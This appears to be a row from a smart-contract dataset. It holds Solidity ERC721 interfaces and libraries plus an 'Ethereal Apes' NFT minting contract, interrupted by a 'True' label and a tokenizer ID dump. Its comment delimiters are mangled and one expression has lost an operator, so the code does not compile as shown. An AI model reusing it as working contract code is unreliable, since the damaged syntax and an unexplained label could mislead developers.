ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }	True	[ 101, 1013, 1013, 3206, 2241, 2006, 16770, 1024, 1013, 1013, 9986, 2015, 1012, 2330, 4371, 27877, 2378, 1012, 4012, 1013, 8311, 1013, 1018, 1012, 1060, 1013, 9413, 2278, 2581, 17465, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1022, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 1013, 1013, 2330, 4371, 27877, 2378, 3206, 1013, 19204, 17589, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 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// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ERC721Enumerable.sol"; contract EtherealApes is ERC721Enumerable, Ownable { string public baseURI; address public proxyRegistryAddress; address public withdrawalAddress; bytes32 public whitelistMerkleRoot; uint256 public MAX_SUPPLY; uint256 public constant MAX_PER_TX = 6; uint256 public constant RESERVES = 440; uint256 public constant priceInWei = 0.08 ether; mapping(address => bool) public projectProxy; mapping(address => uint) public addressToMinted; constructor( string memory _baseURI, address _proxyRegistryAddress, address _withdrawalAddress ) ERC721("Ethereal Apes", "Ethereal Apes") { baseURI = _baseURI; proxyRegistryAddress = _proxyRegistryAddress; withdrawalAddress = _withdrawalAddress; } function setBaseURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } function tokenURI(uint256 _tokenId) public view override returns (string memory) { require(_exists(_tokenId), "Token does not exist."); return string(abi.encodePacked(baseURI, Strings.toString(_tokenId), ".json")); } function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner { proxyRegistryAddress = _proxyRegistryAddress; } function flipProxyState(address proxyAddress) public onlyOwner { projectProxy[proxyAddress] = !projectProxy[proxyAddress]; } function collectReserves() external onlyOwner { require(_owners.length == 0, 'Reserves already taken.'); for(uint256 i; i < RESERVES; i++) _mint(_msgSender(), i); } function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) external onlyOwner { whitelistMerkleRoot = _whitelistMerkleRoot; } function togglePublicSale(uint256 _MAX_SUPPLY) external onlyOwner { delete whitelistMerkleRoot; MAX_SUPPLY = _MAX_SUPPLY; } function _leaf(string memory allowance, string memory payload) internal pure returns (bytes32) { return keccak256(abi.encodePacked(payload, allowance)); } function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) { return MerkleProof.verify(proof, whitelistMerkleRoot, leaf); } function getAllowance(string memory allowance, bytes32[] calldata proof) public view returns (string memory) { string memory payload = string(abi.encodePacked(_msgSender())); require(_verify(_leaf(allowance, payload), proof), "Invalid Merkle Tree proof supplied."); return allowance; } function whitelistMint(uint256 count, uint256 allowance, bytes32[] calldata proof) public payable { string memory payload = string(abi.encodePacked(_msgSender())); require(_verify(_leaf(Strings.toString(allowance), payload), proof), "Invalid Merkle Tree proof supplied."); require(addressToMinted[_msgSender()] + count <= allowance, "Exceeds whitelist supply"); require(count * priceInWei == msg.value, "Invalid funds provided."); addressToMinted[_msgSender()] += count; uint256 totalSupply = _owners.length; for(uint i; i < count; i++) { _mint(_msgSender(), totalSupply + i); } } function publicMint(uint256 count) public payable { uint256 totalSupply = _owners.length; require(totalSupply + count < MAX_SUPPLY, "Exceeds max supply."); require(count < MAX_PER_TX, "Exceeds max per transaction."); require(count * priceInWei == msg.value, "Invalid funds provided."); for(uint i; i < count; i++) { _mint(_msgSender(), totalSupply + i); } } function burn(uint256 tokenId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not approved to burn."); _burn(tokenId); } function withdraw() public { (bool successOne, ) = payable(0x6BaCdF4e911a8dacd6450415C06bb84F2b767951).call{value: address(this).balance * 50 / 100}(""); require(successOne, "Failed to send to first withdrawal address"); (bool successTwo, ) = withdrawalAddress.call{value: address(this).balance}(""); require(successTwo, "Failed to send to second withdrawal address."); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) return new uint256[](0); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function batchTransferFrom(address _from, address _to, uint256[] memory _tokenIds) public { for (uint256 i = 0; i < _tokenIds.length; i++) { transferFrom(_from, _to, _tokenIds[i]); } } function batchSafeTransferFrom(address _from, address _to, uint256[] memory _tokenIds, bytes memory data_) public { for (uint256 i = 0; i < _tokenIds.length; i++) { safeTransferFrom(_from, _to, _tokenIds[i], data_); } } function isOwnerOf(address account, uint256[] calldata _tokenIds) external view returns (bool){ for(uint256 i; i < _tokenIds.length; ++i ){ if(_owners[_tokenIds[i]] != account) return false; } return true; } function isApprovedForAll(address _owner, address operator) public view override returns (bool) { OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(_owner)) == operator \|\| projectProxy[operator]) return true; return super.isApprovedForAll(_owner, operator); } function _mint(address to, uint256 tokenId) internal virtual override { _owners.push(to); emit Transfer(address(0), to, tokenId); } } contract OwnableDelegateProxy { } contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "./ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account but rips out the core of the gas-wasting processing that comes from OpenZeppelin. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _owners.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < _owners.length, "ERC721Enumerable: global index out of bounds"); return index; } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); uint count; for(uint i; i < _owners.length; i++){ if(owner == _owners[i]){ if(count == index) return i; else count++; } } revert("ERC721Enumerable: owner index out of bounds"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /* * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. / library MerkleProof { /* * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. / function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /* * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ / function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./Address.sol"; abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count; for( uint i; i < _owners.length; ++i ){ if( owner == _owners[i] ) ++count; } return count; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; library Address { function isContract(address account) internal view returns (bool) { uint 